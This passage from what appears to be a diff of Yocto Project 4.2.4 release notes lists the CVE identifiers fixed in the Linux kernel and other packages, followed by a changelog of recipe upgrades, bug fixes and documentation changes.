:cve:`2020-11609`, :cve:`2020-11668`, :cve:`2020-11669`, :cve:`2020-11884`, :cve:`2020-12114`, :cve:`2020-12351`, :cve:`2020-12352`, :cve:`2020-12362`, :cve:`2020-12363`, :cve:`2020-12364`, :cve:`2020-12464`, :cve:`2020-12465`, :cve:`2020-12652`, :cve:`2020-12653`, :cve:`2020-12654`, :cve:`2020-12655`, :cve:`2020-12656`, :cve:`2020-12657`, :cve:`2020-12659`, :cve:`2020-12768`, :cve:`2020-12769`, :cve:`2020-12770`, :cve:`2020-12771`, :cve:`2020-12826`, :cve:`2020-12888`, :cve:`2020-12912`, :cve:`2020-13143`, :cve:`2020-13974`, :cve:`2020-14305`, :cve:`2020-14314`, :cve:`2020-14331`, :cve:`2020-14351`, :cve:`2020-14353`, :cve:`2020-14356`, :cve:`2020-14381`, :cve:`2020-14385`, :cve:`2020-14386`, :cve:`2020-14390`, :cve:`2020-14416`, :cve:`2020-15393`, :cve:`2020-15436`, :cve:`2020-15437`, :cve:`2020-15780`, :cve:`2020-15852`, :cve:`2020-16119`, :cve:`2020-16120`, :cve:`2020-16166`, :cve:`2020-1749`, :cve:`2020-24394`, :cve:`2020-24490`, :cve:`2020-24504`, :cve:`2020-24586`, :cve:`2020-24587`, :cve:`2020-24588`, :cve:`2020-25211`, :cve:`2020-25212`, :cve:`2020-25221`, :cve:`2020-25284`, :cve:`2020-25285`, :cve:`2020-25639`, :cve:`2020-25641`, :cve:`2020-25643`, :cve:`2020-25645`, :cve:`2020-25656`, :cve:`2020-25668`, :cve:`2020-25669`, :cve:`2020-25670`, :cve:`2020-25671`, :cve:`2020-25672`, :cve:`2020-25673`, :cve:`2020-25704`, :cve:`2020-25705`, :cve:`2020-26088`, :cve:`2020-26139`, :cve:`2020-26141`, :cve:`2020-26145`, :cve:`2020-26147`, :cve:`2020-26541`, :cve:`2020-26555`, :cve:`2020-26558`, :cve:`2020-27066`, :cve:`2020-27067`, :cve:`2020-27068`, :cve:`2020-27152`, :cve:`2020-27170`, :cve:`2020-27171`, :cve:`2020-27194`, :cve:`2020-2732`, :cve:`2020-27673`, :cve:`2020-27675`, :cve:`2020-27777`, :cve:`2020-27784`, :cve:`2020-27786`, :cve:`2020-27815`, :cve:`2020-27820`, :cve:`2020-27825`, :cve:`2020-27830`, :cve:`2020-27835`, :cve:`2020-28097`, :cve:`2020-28374`, :cve:`2020-28588`, :cve:`2020-28915`, :cve:`2020-28941`, :cve:`2020-28974`, :cve:`2020-29368`, :cve:`2020-29369`, :cve:`2020-29370`, :cve:`2020-29371`, :cve:`2020-29372`, :cve:`2020-29373`, :cve:`2020-29374`, :cve:`2020-29534`, :cve:`2020-29568`, :cve:`2020-29569`, :cve:`2020-29660`, :cve:`2020-29661`, :cve:`2020-35499`, :cve:`2020-35508`, :cve:`2020-35513`, :cve:`2020-35519`, :cve:`2020-36158`, :cve:`2020-36310`, :cve:`2020-36311`, :cve:`2020-36312`, :cve:`2020-36313`, :cve:`2020-36322`, :cve:`2020-36385`, :cve:`2020-36386`, :cve:`2020-36387`, :cve:`2020-36516`, :cve:`2020-36557`, :cve:`2020-36558`, :cve:`2020-36691`, :cve:`2020-36694`, :cve:`2020-36766`, :cve:`2020-3702`, :cve:`2020-4788`, :cve:`2020-7053`, :cve:`2020-8428`, :cve:`2020-8647`, :cve:`2020-8648`, :cve:`2020-8649`, :cve:`2020-8694`, :cve:`2020-8834`, :cve:`2020-8835`, :cve:`2020-8992`, :cve:`2020-9383`, :cve:`2020-9391`, :cve:`2021-0129`, :cve:`2021-0342`, :cve_mitre:`2021-0447`, :cve_mitre:`2021-0448`, :cve:`2021-0512`, :cve:`2021-0605`, :cve:`2021-0707`, :cve:`2021-0920`, :cve:`2021-0929`, :cve:`2021-0935`, :cve_mitre:`2021-0937`, :cve:`2021-0938`, :cve:`2021-0941`, :cve:`2021-1048`, :cve:`2021-20177`, :cve:`2021-20194`, :cve:`2021-20226`, :cve:`2021-20239`, :cve:`2021-20261`, :cve:`2021-20265`, :cve:`2021-20268`, :cve:`2021-20292`, :cve:`2021-20317`, :cve:`2021-20320`, :cve:`2021-20321`, :cve:`2021-20322`, :cve:`2021-21781`, :cve:`2021-22543`, :cve:`2021-22555`, :cve:`2021-22600`, :cve:`2021-23133`, :cve:`2021-23134`, :cve:`2021-26401`, :cve:`2021-26708`, :cve:`2021-26930`, :cve:`2021-26931`, :cve:`2021-26932`, :cve:`2021-27363`, :cve:`2021-27364`, :cve:`2021-27365`, :cve:`2021-28038`, :cve:`2021-28039`, :cve:`2021-28375`, :cve:`2021-28660`, :cve:`2021-28688`, :cve:`2021-28691`, :cve:`2021-28711`, :cve:`2021-28712`, :cve:`2021-28713`, :cve:`2021-28714`, :cve:`2021-28715`, :cve:`2021-28950`, :cve:`2021-28951`, :cve:`2021-28952`, :cve:`2021-28964`, :cve:`2021-28971`, :cve:`2021-28972`, :cve:`2021-29154`, :cve:`2021-29155`, :cve:`2021-29264`, :cve:`2021-29265`, :cve:`2021-29266`, :cve:`2021-29646`, :cve:`2021-29647`, :cve:`2021-29648`, :cve:`2021-29649`, :cve:`2021-29650`, :cve:`2021-29657`, :cve:`2021-30002`, :cve:`2021-30178`, :cve:`2021-31440`, :cve:`2021-3178`, :cve:`2021-31829`, :cve:`2021-31916`, :cve:`2021-32078`, :cve:`2021-32399`, :cve:`2021-32606`, :cve:`2021-33033`, :cve:`2021-33034`, :cve:`2021-33061`, :cve:`2021-33098`, :cve:`2021-33135`, :cve:`2021-33200`, :cve:`2021-3347`, :cve:`2021-3348`, :cve:`2021-33624`, :cve:`2021-33655`, :cve:`2021-33656`, :cve:`2021-33909`, :cve:`2021-3411`, :cve:`2021-3428`, :cve:`2021-3444`, :cve:`2021-34556`, :cve:`2021-34693`, :cve:`2021-3483`, :cve:`2021-34866`, :cve:`2021-3489`, :cve:`2021-3490`, :cve:`2021-3491`, :cve:`2021-3493`, :cve_mitre:`2021-34981`, :cve:`2021-3501`, :cve:`2021-35039`, :cve:`2021-3506`, :cve:`2021-3543`, :cve:`2021-35477`, :cve:`2021-3564`, :cve:`2021-3573`, :cve:`2021-3587`, :cve_mitre:`2021-3600`, :cve:`2021-3609`, :cve:`2021-3612`, :cve:`2021-3635`, :cve:`2021-3640`, :cve:`2021-3653`, :cve:`2021-3655`, :cve:`2021-3656`, :cve:`2021-3659`, :cve:`2021-3669`, :cve:`2021-3679`, :cve:`2021-3715`, :cve:`2021-37159`, :cve:`2021-3732`, :cve:`2021-3736`, :cve:`2021-3739`, :cve:`2021-3743`, :cve:`2021-3744`, :cve:`2021-3752`, :cve:`2021-3753`, :cve:`2021-37576`, :cve:`2021-3759`, :cve:`2021-3760`, :cve:`2021-3764`, :cve:`2021-3772`, :cve:`2021-38160`, :cve:`2021-38166`, :cve:`2021-38198`, :cve:`2021-38199`, :cve:`2021-38200`, :cve:`2021-38201`, :cve:`2021-38202`, :cve:`2021-38203`, :cve:`2021-38204`, :cve:`2021-38205`, :cve:`2021-38206`, :cve:`2021-38207`, :cve:`2021-38208`, :cve:`2021-38209`, :cve:`2021-38300`, :cve:`2021-3894`, :cve:`2021-3896`, :cve:`2021-3923`, :cve:`2021-39633`, :cve:`2021-39634`, :cve:`2021-39636`, :cve:`2021-39648`, :cve:`2021-39656`, :cve:`2021-39657`, :cve:`2021-39685`, :cve:`2021-39686`, :cve:`2021-39698`, :cve:`2021-39711`, :cve:`2021-39713`, :cve:`2021-39714`, :cve:`2021-4001`, :cve:`2021-4002`, :cve:`2021-4023`, :cve:`2021-4028`, :cve:`2021-4032`, :cve:`2021-4037`, :cve:`2021-40490`, :cve:`2021-4083`, :cve:`2021-4090`, :cve:`2021-4093`, :cve:`2021-4095`, :cve:`2021-41073`, :cve:`2021-4135`, :cve:`2021-4148`, :cve:`2021-4149`, :cve:`2021-4150`, :cve:`2021-4154`, :cve:`2021-4155`, :cve:`2021-4157`, :cve:`2021-4159`, :cve:`2021-41864`, :cve:`2021-4197`, :cve:`2021-42008`, :cve:`2021-4202`, :cve:`2021-4203`, :cve:`2021-4204`, :cve:`2021-4218`, :cve:`2021-42252`, :cve:`2021-42327`, :cve:`2021-42739`, :cve:`2021-43056`, :cve:`2021-43057`, :cve:`2021-43267`, :cve:`2021-43389`, :cve:`2021-43975`, :cve:`2021-43976`, :cve:`2021-44733`, :cve:`2021-44879`, :cve:`2021-45095`, :cve:`2021-45100`, :cve:`2021-45402`, :cve:`2021-45469`, :cve:`2021-45480`, :cve:`2021-45485`, :cve:`2021-45486`, :cve:`2021-45868`, :cve:`2021-46283`, :cve:`2022-0001`, :cve:`2022-0002`, :cve:`2022-0168`, :cve:`2022-0171`, :cve:`2022-0185`, :cve:`2022-0264`, :cve:`2022-0286`, :cve:`2022-0322`, :cve:`2022-0330`, :cve:`2022-0382`, :cve:`2022-0433`, :cve:`2022-0435`, :cve:`2022-0480`, :cve:`2022-0487`, :cve:`2022-0492`, :cve:`2022-0494`, :cve:`2022-0500`, :cve:`2022-0516`, :cve:`2022-0617`, :cve:`2022-0644`, :cve:`2022-0646`, :cve:`2022-0742`, :cve:`2022-0812`, :cve:`2022-0847`, :cve:`2022-0850`, :cve:`2022-0854`, :cve:`2022-0995`, :cve:`2022-0998`, :cve:`2022-1011`, :cve:`2022-1012`, :cve:`2022-1015`, :cve:`2022-1016`, :cve:`2022-1043`, :cve:`2022-1048`, :cve:`2022-1055`, :cve:`2022-1158`, :cve:`2022-1184`, :cve:`2022-1195`, :cve:`2022-1198`, :cve:`2022-1199`, :cve:`2022-1204`, :cve:`2022-1205`, :cve:`2022-1263`, :cve:`2022-1280`, :cve:`2022-1353`, :cve:`2022-1419`, :cve:`2022-1462`, :cve:`2022-1508`, :cve:`2022-1516`, :cve:`2022-1651`, :cve:`2022-1652`, :cve:`2022-1671`, :cve:`2022-1678`, :cve:`2022-1679`, :cve:`2022-1729`, :cve:`2022-1734`, :cve:`2022-1786`, :cve:`2022-1789`, :cve:`2022-1836`, :cve:`2022-1852`, :cve:`2022-1882`, :cve:`2022-1943`, :cve:`2022-1966`, :cve:`2022-1972`, :cve:`2022-1973`, :cve:`2022-1974`, :cve:`2022-1975`, :cve:`2022-1976`, :cve:`2022-1998`, :cve:`2022-20008`, :cve:`2022-20132`, :cve:`2022-20141`, :cve:`2022-20148`, :cve:`2022-20153`, :cve:`2022-20154`, :cve:`2022-20158`, :cve:`2022-20166`, :cve:`2022-20368`, :cve:`2022-20369`, :cve:`2022-20409`, :cve:`2022-20421`, :cve:`2022-20422`, :cve:`2022-20423`, :cve:`2022-20424`, :cve_mitre:`2022-20565`, :cve:`2022-20566`, :cve:`2022-20567`, :cve:`2022-20568`, :cve:`2022-20572`, :cve:`2022-2078`, :cve:`2022-21123`, :cve:`2022-21125`, :cve:`2022-21166`, :cve:`2022-21385`, :cve:`2022-21499`, :cve_mitre:`2022-21505`, :cve:`2022-2153`, :cve:`2022-2196`, :cve_mitre:`2022-22942`, :cve:`2022-23036`, :cve:`2022-23037`, :cve:`2022-23038`, :cve:`2022-23039`, :cve:`2022-23040`, :cve:`2022-23041`, :cve:`2022-23042`, :cve:`2022-2308`, :cve:`2022-2318`, :cve:`2022-23222`, :cve:`2022-2327`, :cve:`2022-2380`, :cve:`2022-23816`, :cve:`2022-23960`, :cve:`2022-24122`, :cve:`2022-24448`, :cve:`2022-24958`, :cve:`2022-24959`, :cve:`2022-2503`, :cve:`2022-25258`, :cve:`2022-25375`, :cve:`2022-25636`, :cve_mitre:`2022-2585`, :cve_mitre:`2022-2586`, :cve_mitre:`2022-2588`, :cve:`2022-2590`, :cve_mitre:`2022-2602`, :cve:`2022-26365`, :cve:`2022-26373`, :cve:`2022-2639`, :cve:`2022-26490`, :cve:`2022-2663`, :cve:`2022-26966`, :cve:`2022-27223`, :cve:`2022-27666`, :cve:`2022-27672`, :cve:`2022-2785`, :cve:`2022-27950`, :cve:`2022-28356`, :cve:`2022-28388`, :cve:`2022-28389`, :cve:`2022-28390`, :cve:`2022-2873`, :cve:`2022-28796`, :cve:`2022-28893`, :cve:`2022-2905`, :cve:`2022-29156`, :cve:`2022-2938`, :cve:`2022-29581`, :cve:`2022-29582`, :cve:`2022-2959`, :cve:`2022-2964`, :cve:`2022-2977`, :cve:`2022-2978`, :cve:`2022-29900`, :cve:`2022-29901`, :cve:`2022-2991`, :cve:`2022-29968`, :cve:`2022-3028`, :cve:`2022-30594`, :cve:`2022-3061`, :cve:`2022-3077`, :cve:`2022-3078`, :cve:`2022-3103`, :cve:`2022-3104`, :cve:`2022-3105`, :cve:`2022-3106`, :cve:`2022-3107`, :cve:`2022-3108`, :cve:`2022-3110`, :cve:`2022-3111`, :cve:`2022-3112`, :cve:`2022-3113`, :cve:`2022-3114`, :cve:`2022-3115`, :cve:`2022-3169`, :cve:`2022-3170`, :cve:`2022-3176`, :cve:`2022-3202`, :cve:`2022-32250`, :cve:`2022-32296`, :cve:`2022-3239`, :cve:`2022-32981`, :cve:`2022-3303`, :cve:`2022-3344`, :cve:`2022-33740`, :cve:`2022-33741`, :cve:`2022-33742`, :cve:`2022-33743`, :cve:`2022-33744`, :cve:`2022-33981`, :cve:`2022-3424`, :cve:`2022-3435`, :cve:`2022-34494`, :cve:`2022-34495`, :cve:`2022-34918`, :cve:`2022-3521`, :cve:`2022-3522`, :cve:`2022-3524`, :cve:`2022-3526`, :cve:`2022-3531`, :cve:`2022-3532`, :cve:`2022-3534`, :cve:`2022-3535`, :cve:`2022-3541`, :cve:`2022-3542`, :cve:`2022-3543`, :cve:`2022-3545`, :cve:`2022-3564`, :cve:`2022-3565`, :cve:`2022-3577`, :cve:`2022-3586`, :cve:`2022-3594`, :cve:`2022-3595`, :cve:`2022-36123`, :cve:`2022-3619`, :cve:`2022-3621`, :cve:`2022-3623`, :cve:`2022-3624`, :cve:`2022-3625`, :cve:`2022-3628`, :cve:`2022-36280`, :cve:`2022-3629`, :cve:`2022-3630`, :cve:`2022-3633`, :cve:`2022-3635`, :cve:`2022-3636`, :cve:`2022-3640`, :cve:`2022-3643`, :cve:`2022-3646`, :cve:`2022-3649`, :cve:`2022-36879`, :cve:`2022-36946`, :cve:`2022-3707`, :cve:`2022-38457`, :cve:`2022-3903`, :cve:`2022-3910`, :cve:`2022-39188`, :cve:`2022-39189`, :cve:`2022-39190`, :cve:`2022-3977`, :cve:`2022-39842`, :cve:`2022-40133`, :cve:`2022-40307`, :cve:`2022-40476`, :cve:`2022-40768`, :cve:`2022-4095`, :cve:`2022-40982`, :cve:`2022-41218`, :cve:`2022-41222`, :cve:`2022-4127`, :cve:`2022-4128`, :cve:`2022-4129`, :cve:`2022-4139`, :cve:`2022-41674`, :cve:`2022-41849`, :cve:`2022-41850`, :cve:`2022-41858`, :cve:`2022-42328`, :cve:`2022-42329`, :cve:`2022-42432`, :cve:`2022-4269`, :cve:`2022-42703`, :cve:`2022-42719`, :cve:`2022-42720`, :cve:`2022-42721`, :cve:`2022-42722`, :cve:`2022-42895`, :cve:`2022-42896`, :cve:`2022-43750`, :cve:`2022-4378`, :cve:`2022-4379`, :cve:`2022-4382`, :cve:`2022-43945`, :cve:`2022-45869`, :cve:`2022-45886`, :cve:`2022-45887`, :cve:`2022-45919`, :cve:`2022-45934`, :cve:`2022-4662`, :cve:`2022-4696`, :cve:`2022-4744`, :cve:`2022-47518`, :cve:`2022-47519`, :cve:`2022-47520`, :cve:`2022-47521`, :cve:`2022-47929`, :cve:`2022-47938`, :cve:`2022-47939`, :cve:`2022-47940`, :cve:`2022-47941`, :cve:`2022-47942`, :cve:`2022-47943`, :cve:`2022-47946`, :cve:`2022-4842`, :cve:`2022-48423`, :cve:`2022-48424`, :cve:`2022-48425`, :cve:`2022-48502`, :cve:`2023-0030`, :cve:`2023-0045`, :cve:`2023-0047`, :cve:`2023-0122`, :cve:`2023-0160`, :cve:`2023-0179`, :cve:`2023-0210`, :cve:`2023-0240`, :cve:`2023-0266`, :cve:`2023-0386`, :cve:`2023-0394`, :cve:`2023-0458`, :cve:`2023-0459`, :cve:`2023-0461`, :cve:`2023-0468`, :cve:`2023-0469`, :cve:`2023-0590`, :cve:`2023-0615`, :cve_mitre:`2023-1032`, :cve:`2023-1073`, :cve:`2023-1074`, :cve:`2023-1076`, :cve:`2023-1077`, :cve:`2023-1078`, :cve:`2023-1079`, :cve:`2023-1095`, :cve:`2023-1118`, :cve:`2023-1192`, :cve:`2023-1194`, :cve:`2023-1195`, :cve:`2023-1206`, :cve:`2023-1249`, :cve:`2023-1252`, :cve:`2023-1281`, :cve:`2023-1295`, :cve:`2023-1380`, :cve:`2023-1382`, :cve:`2023-1390`, :cve:`2023-1513`, :cve:`2023-1582`, :cve:`2023-1583`, :cve:`2023-1611`, :cve:`2023-1637`, :cve:`2023-1652`, :cve:`2023-1670`, :cve:`2023-1829`, :cve:`2023-1838`, :cve:`2023-1855`, :cve:`2023-1859`, :cve:`2023-1872`, :cve:`2023-1989`, :cve:`2023-1990`, :cve:`2023-1998`, :cve:`2023-2002`, :cve:`2023-2006`, :cve:`2023-2007`, :cve:`2023-2008`, :cve:`2023-2019`, :cve:`2023-20569`, :cve:`2023-20588`, :cve:`2023-20593`, :cve:`2023-20928`, :cve:`2023-20938`, :cve:`2023-21102`, :cve:`2023-21106`, :cve:`2023-2124`, :cve:`2023-21255`, :cve:`2023-2156`, :cve:`2023-2162`, :cve:`2023-2163`, :cve:`2023-2166`, :cve:`2023-2177`, :cve:`2023-2194`, :cve:`2023-2235`, :cve:`2023-2236`, :cve:`2023-2248`, :cve:`2023-2269`, :cve:`2023-22995`, :cve:`2023-22996`, :cve:`2023-22997`, :cve:`2023-22998`, :cve:`2023-22999`, :cve:`2023-23000`, :cve:`2023-23001`, :cve:`2023-23002`, :cve:`2023-23003`, :cve:`2023-23004`, :cve:`2023-23006`, :cve:`2023-23454`, :cve:`2023-23455`, :cve:`2023-23559`, :cve:`2023-23586`, :cve:`2023-2430`, :cve:`2023-2483`, :cve:`2023-25012`, :cve:`2023-2513`, :cve:`2023-25775`, :cve:`2023-2598`, :cve:`2023-26544`, :cve:`2023-26545`, :cve:`2023-26605`, :cve:`2023-26606`, :cve:`2023-26607`, :cve:`2023-28327`, :cve:`2023-28328`, :cve:`2023-28410`, :cve:`2023-28464`, :cve:`2023-28466`, :cve:`2023-2860`, :cve:`2023-28772`, :cve:`2023-28866`, :cve:`2023-2898`, :cve:`2023-2985`, :cve:`2023-3006`, :cve:`2023-30456`, :cve:`2023-30772`, :cve:`2023-3090`, :cve:`2023-3106`, :cve:`2023-3111`, :cve:`2023-3117`, :cve:`2023-31248`, :cve:`2023-3141`, :cve:`2023-31436`, :cve:`2023-3159`, :cve:`2023-3161`, :cve:`2023-3212`, :cve:`2023-3220`, :cve:`2023-32233`, :cve:`2023-32247`, :cve:`2023-32248`, :cve:`2023-32250`, :cve:`2023-32252`, :cve:`2023-32254`, :cve:`2023-32257`, :cve:`2023-32258`, :cve:`2023-32269`, :cve:`2023-3268`, :cve:`2023-3269`, :cve:`2023-3312`, :cve:`2023-3317`, :cve:`2023-33203`, :cve:`2023-33250`, :cve:`2023-33288`, :cve:`2023-3338`, :cve:`2023-3355`, :cve:`2023-3357`, :cve:`2023-3358`, :cve:`2023-3359`, :cve:`2023-3389`, :cve:`2023-3390`, :cve:`2023-33951`, :cve:`2023-33952`, :cve:`2023-34255`, :cve:`2023-34256`, :cve:`2023-34319`, :cve:`2023-3439`, :cve:`2023-35001`, :cve:`2023-3567`, :cve:`2023-35788`, :cve:`2023-35823`, :cve:`2023-35824`, :cve:`2023-35826`, :cve:`2023-35828`, :cve:`2023-35829`, :cve:`2023-3609`, :cve:`2023-3610`, :cve:`2023-3611`, :cve:`2023-37453`, :cve:`2023-3772`, :cve:`2023-3773`, :cve:`2023-3776`, :cve:`2023-3777`, :cve:`2023-3812`, :cve:`2023-38409`, :cve:`2023-38426`, :cve:`2023-38427`, :cve:`2023-38428`, :cve:`2023-38429`, :cve:`2023-38430`, :cve:`2023-38431`, :cve:`2023-38432`, :cve:`2023-3863`, :cve_mitre:`2023-3865`, :cve_mitre:`2023-3866`, :cve_mitre:`2023-3867`, :cve:`2023-4004`, :cve:`2023-4015`, :cve:`2023-40283`, :cve:`2023-4128`, :cve:`2023-4132`, :cve:`2023-4147`, :cve:`2023-4155`, :cve:`2023-4194`, :cve:`2023-4206`, :cve:`2023-4207`, :cve:`2023-4208`, :cve:`2023-4273`, :cve:`2023-42752`, :cve:`2023-42753`, :cve:`2023-4385`, :cve:`2023-4387`, :cve:`2023-4389`, :cve:`2023-4394`, :cve:`2023-4459`, :cve:`2023-4569`, :cve:`2023-4611` and :cve:`2023-4623`
+- nghttp2: Fix :cve:`2023-35945`
+- openssl: Fix :cve:`2023-2975`, :cve:`2023-3446`, :cve:`2023-3817`, :cve:`2023-4807` and :cve:`2023-5363`
+- pixman: Ignore :cve:`2023-37769`
+- procps: Fix :cve:`2023-4016`
+- python3-git: Fix :cve:`2023-40267`, :cve:`2023-40590` and :cve:`2023-41040`
+- python3-pygments: Fix :cve:`2022-40896`
+- python3-urllib3: Fix :cve:`2023-43804` and :cve:`2023-45803`
+- python3: Fix :cve:`2023-24329` and :cve:`2023-40217`
+- qemu: Fix :cve:`2023-3180`, :cve:`2023-3354` and :cve:`2023-42467`
+- qemu: Ignore :cve:`2023-2680`
+- screen: Fix :cve:`2023-24626`
+- shadow: Fix :cve_mitre:`2023-4641`
+- tiff: Fix :cve:`2023-40745` and :cve:`2023-41175`
+- vim: Fix :cve:`2023-3896`, :cve:`2023-4733`, :cve:`2023-4734`, :cve:`2023-4735`, :cve:`2023-4736`, :cve:`2023-4738`, :cve:`2023-4750`, :cve:`2023-4752`, :cve:`2023-4781`, :cve:`2023-5441` and :cve:`2023-5535`
+- webkitgtk: Fix :cve:`2023-32435` and :cve:`2023-32439`
+- xserver-xorg: Fix :cve:`2023-5367` and :cve:`2023-5380`
+
+
+Fixes in Yocto-4.2.4
+~~~~~~~~~~~~~~~~~~~~
+
+- README: Update to point to new contributor guide
+- README: fix mail address in git example command
+- SECURITY.md: Add file
+- avahi: handle invalid service types gracefully
+- bind: upgrade to 9.18.19
+- bitbake.conf: add bunzip2 in :term:`HOSTTOOLS`
+- bitbake: Fix disk space monitoring on cephfs
+- bitbake: SECURITY.md: add file
+- brief-yoctoprojectqs: use new CDN mirror for sstate
+- bsp-guide: bsp.rst: replace reference to wiki
+- bsp-guide: bsp: skip Intel machines no longer supported in Poky
+- build-appliance-image: Update to mickledore head revision
+- build-sysroots: Add :term:`SUMMARY` field
+- build-sysroots: Ensure dependency chains are minimal
+- build-sysroots: target or native sysroot population need to be selected explicitly
+- buildtools-tarball: Add libacl
+- busybox: Set PATH in syslog initscript
+- busybox: remove coreutils dependency in busybox-ptest
+- cmake.bbclass: fix allarch override syntax
+- cml1: Fix KCONFIG_CONFIG_COMMAND not conveyed fully in do_menuconfig
+- contributor-guide/style-guide: Add a note about task idempotence
+- contributor-guide/style-guide: Refer to recipes, not packages
+- contributor-guide: deprecate "Accepted" patch status
+- contributor-guide: discourage marking patches as Inappropriate
+- contributor-guide: recipe-style-guide: add Upstream-Status
+- contributor-guide: recipe-style-guide: add more patch tagging examples
+- contributor-guide: recipe-style-guide: add section about CVE patches
+- contributor-guide: style-guide: discourage using Pending patch status
+- core-image-ptest: Define a fallback for :term:`SUMMARY` field
+- cve-check: add CVSS vector string to CVE database and reports
+- cve-check: don't warn if a patch is remote
+- cve-check: slightly more verbose warning when adding the same package twice
+- cve-check: sort the package list in the JSON report
+- cve-exclusion_6.1.inc: update for 6.1.57
+- dbus: add additional entries to :term:`CVE_PRODUCT`
+- dbus: upgrade to 1.14.10
+- dev-manual: add security team processes
+- dev-manual: disk-space: improve wording for obsolete sstate cache files
+- dev-manual: disk-space: mention faster "find" command to trim sstate cache
+- dev-manual: fix testimage usage instructions
+- dev-manual: layers: Add notes about layer.conf
+- dev-manual: licenses: mention :term:`SPDX` for license compliance
+- dev-manual: new-recipe.rst fix inconsistency with contributor guide
+- dev-manual: new-recipe.rst: add missing parenthesis to "Patching Code" section
+- dev-manual: new-recipe.rst: replace reference to wiki
+- dev-manual: remove unsupported :term: markup inside markup
+- dev-manual: start.rst: remove obsolete reference
+- ell: upgrade to 0.58
+- externalsrc: fix dependency chain issues
+- ffmpeg: upgrade to 5.1.3
+- ffmpeg: avoid neon on unsupported machines
+- file: fix call to localtime_r()
+- file: upgrade to 5.45
+- fontcache.bbclass: avoid native recipes depending on target fontconfig
+- gcc-crosssdk: ignore MULTILIB_VARIANTS in signature computation
+- gcc-runtime: remove bashism
+- gcc: backport a fix for ICE caused by CVE-2023-4039.patch
+- gcc: depend on zstd
+- gdb: fix :term:`RDEPENDS` for PACKAGECONFIG[tui]
+- glib-2.0: libelf has a configure option now, specify it
+- glibc: stable 2.37 branch updates
+- gnupg: Fix reproducibility failure
+- gnupg: upgrade to 2.4.3
+- go: upgrade to 1.20.7
+- graphene: fix runtime detection of IEEE754 behaviour
+- gstreamer: upgrade to 1.22.6
+- gtk4: upgrade to 4.10.5
+- gzip: upgrade to 1.13
+- igt-gpu-tools: do not write shortened git commit hash into binaries
+- inetutils: don't guess target paths
+- inetutils: remove obsolete cruft from do_configure
+- insane.bbclass: Count raw bytes in shebang-size
+- kernel.bbclass: Add force flag to rm calls
+- lib/package_manager: Improve repo artefact filtering
+- libc-test: Run as non-root user
+- libconvert-asn1-perl: upgrade to 0.34
+- libevent: fix patch Upstream-Status
+- libgudev: explicitly disable tests and vapi
+- librepo: upgrade to 1.15.2
+- librsvg: upgrade to 2.54.6
+- libsndfile1: upgrade to 1.2.2
+- libsoup-2.4: Only specify --cross-file when building for target
+- libsoup-2.4: update :term:`PACKAGECONFIG`
+- libx11: upgrade to 1.8.7
+- libxkbcommon: add :term:`CVE_PRODUCT`
+- libxpm: upgrade to 3.5.17
+- linux-firmware: add firmware files for NXP BT chipsets
+- linux-firmware: package Dragonboard 845c sensors DSP firmware
+- linux-firmware: package audio topology for Lenovo X13s
+- linux-firmware: upgrade to 20230804
+- linux-yocto/5.15: update to v5.15.133
+- linux-yocto/6.1: fix CONFIG_F2FS_IO_TRACE configuration warning
+- linux-yocto/6.1: fix IRQ-80 warnings
+- linux-yocto/6.1: fix uninitialized read in nohz_full/isolcpus setup
+- linux-yocto/6.1: tiny: fix arm 32 boot
+- linux-yocto/6.1: update to v6.1.57
+- linux-yocto: add script to generate kernel :term:`CVE_CHECK_IGNORE` entries
+- linux-yocto: make sure the pahole-native available before do_kernel_configme
+- linux/cve-exclusion: add generated CVE_CHECK_IGNOREs
+- linux/generate-cve-exclusions: fix mishandling of boundary values
+- linux/generate-cve-exclusions: print the generated time in UTC
+- manuals: add new contributor guide
+- manuals: correct "yocto-linux" by "linux-yocto"
+- mdadm: Disable further tests due to intermittent failures
+- mdadm: skip running 04update-uuid and 07revert-inplace testcases
+- migration-guides: add release notes for 4.0.12
+- migration-guides: add release notes for 4.0.13
+- migration-guides: add release notes for 4.2.3
+- mpfr: upgrade to 4.2.1
+- multilib.conf: explicitly make MULTILIB_VARIANTS vardeps on MULTILIBS
+- nativesdk-intercept: Fix bad intercept chgrp/chown logic
+- nettle: avoid neon on unsupported machines
+- oe-depends-dot: improve '-w' behavior
+- oeqa dnf_runtime.py: fix HTTP server IP address and port
+- oeqa selftest context.py: remove warning from missing meta-selftest
+- oeqa selftest context.py: whitespace fix
+- oeqa/concurrencytest: Remove invalid buffering option
+- oeqa/selftest/context.py: check git command return values
+- oeqa/selftest/wic: Improve assertTrue calls
+- oeqa/selftest: Fix broken symlink removal handling
+- oeqa/utils/gitarchive: Handle broken commit counts in results repo
+- openssl: upgrade to 3.1.4
+- openssl: build and install manpages only if they are enabled
+- openssl: ensure all ptest fails are caught
+- openssl: parallelize tests
+- overview: Add note about non-reproducibility side effects
+- packages.bbclass: Correct the check for conflicts with renamed packages
+- pango: explictly enable/disable libthai
+- patch.py: use --absolute-git-dir instead of --show-toplevel to retrieve gitdir
+- pixman: Remove duplication of license MIT
+- pixman: avoid neon on unsupported machines
+- poky.conf: bump version for 4.2.4 release
+- profile-manual: aesthetic cleanups
+- pseudo: Fix to work with glibc 2.38
+- ptest: report tests that were killed on timeout
+- python3-git: upgrade to 3.1.37
+- python3-urllib3: update to v1.26.18
+- python3: upgrade to 3.11.5
+- qemu: fix "Bad FPU state detected" fault on qemu-system-i386
+- ref-manual: Fix :term:`PACKAGECONFIG` term and add an example
+- ref-manual: Warn about :term:`COMPATIBLE_MACHINE` skipping native recipes
+- ref-manual: point outdated link to the new location
+- ref-manual: releases.svg: Scarthgap is now version 5.0
+- ref-manual: system-requirements: update supported distros
+- ref-manual: variables: add :term:`RECIPE_SYSROOT` and :term:`RECIPE_SYSROOT_NATIVE`
+- ref-manual: variables: add :term:`TOOLCHAIN_OPTIONS` variable
+- ref-manual: variables: add example for :term:`SYSROOT_DIRS` variable
+- ref-manual: variables: provide no-match example for :term:`COMPATIBLE_MACHINE`
+- resulttool/report: Avoid divide by zero
+- runqemu: check permissions of available render nodes as well as their presence
+- screen: upgrade to 4.9.1
+- scripts/create-pull-request: update URLs to git repositories
+- sdk-manual: appendix-obtain: improve and update descriptions
+- sdk-manual: extensible.rst: fix multiple formatting issues
+- shadow: fix patch Upstream-Status
+- strace: parallelize ptest
+- sudo: upgrade to 1.9.15p2
+- systemd-bootchart: musl fixes have been rejected upstream
+- systemd: backport patch to fix warning in systemd-vconsole-setup
+- tar: upgrade to 1.35
+- tcl: Add a way to skip ptests
+- tcl: prevent installing another copy of tzdata
+- template: fix typo in section header
+- test-manual: reproducible-builds: stop mentioning LTO bug
+- uboot-extlinux-config.bbclass: fix missed override syntax migration
